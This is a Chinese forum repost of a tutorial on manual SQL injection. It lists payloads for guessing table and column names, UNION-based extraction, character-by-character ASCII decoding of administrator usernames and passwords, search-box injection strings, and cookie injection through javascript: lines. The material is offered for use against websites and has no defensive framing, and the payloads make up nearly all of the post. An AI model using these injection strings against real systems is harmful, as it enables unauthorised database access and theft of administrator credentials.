• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    教你如何手工注入猜解语句

    发布者: 管理员不想理你 | 发布时间: 2025-6-27 16:18| 查看数: 97| 评论数: 0|帖子模式

    猜解表名:
    and exists (select * from 表名)
    猜解列名:
    and exists (select 字段 from 表名)
    UNION法:
    联合查询:
    select name,password,id from user union select user,pwd,uid from
    爆指定表名内容:
    and 1=1 union select 1,2,3,4,5 from 表名
    ASCII逐字解码法:
    1、猜解列长度
    猜解语句:
    and (select top 1 len(列名)from 表名)>N
    and (select top 1 len(列名)from 表名)=N
    其中N是数字,变换这个N的值猜解列长度,例如:
    and (select top 1 len(列名)from 表名)>1
    and (select top 1 len(列名)from 表名)>6
    如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7。因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用:
    select top 1 len(列名) from 表名
    where 列名 not in (select top 1 列名 from 表名)
    2、ASCII码分析法猜解用户和密码
    ASC()函数和Mid函数
    例如:mid(列名,N,1)
    ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII码
    猜解语句为:
    and (select top 1 asc(mid(字段,1,1)) from 数据库名)=ASC码(通过转换工具换)
    区间判断语句:
    “......between......and......”
    中文处理法:
    当ASCII转换后为“负数”使用abs()函数取绝对值。
    例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码(通过转换工具换)
    ASCII逐字解码法的应用:
    1、猜解表名:
    and (select count(*) from admin)<>0
    2、猜解列名:
    and (select count(列名) from 表名)<>0
    3、猜解管理员用户个数:
    and (select count(*) from 表名)=1
    返回正常,表中有一条记录。
    4、猜解管理员用户名的长度:
    and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
    5、猜解管理员用户名:
    and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
    最后提交:
    and (select asc(mid(列名,1,1)) from 表名)=ascii的值
    6、猜解管理员的密码:
    按照上面的原理,只要把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到管理员的密码了。
    搜索型注入漏洞利用猜解语句:
    关键字%' and 1=1 and '%'='%
    关键字%' and 1=2 and '%'='%
    将and 1=1 换成注入语句就可以了。

    cookie注入语句:
    javascript:alert(document.cookie="id=" escape("44 and 1=1"));
    javascript:alert(document.cookie="id=" escape("44 and 1=2"));
    猜解语句:
    猜解长度:
    javascript:alert(document.cookie="id=" escape("44 and (select len(password) from admin)=16"))
    猜解内容:
    javascript:alert(document.cookie="id=" escape("44 and (select asc(mid(username)) from admin)=97"))



    来源:https://www.jb51.net/hack/5840.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表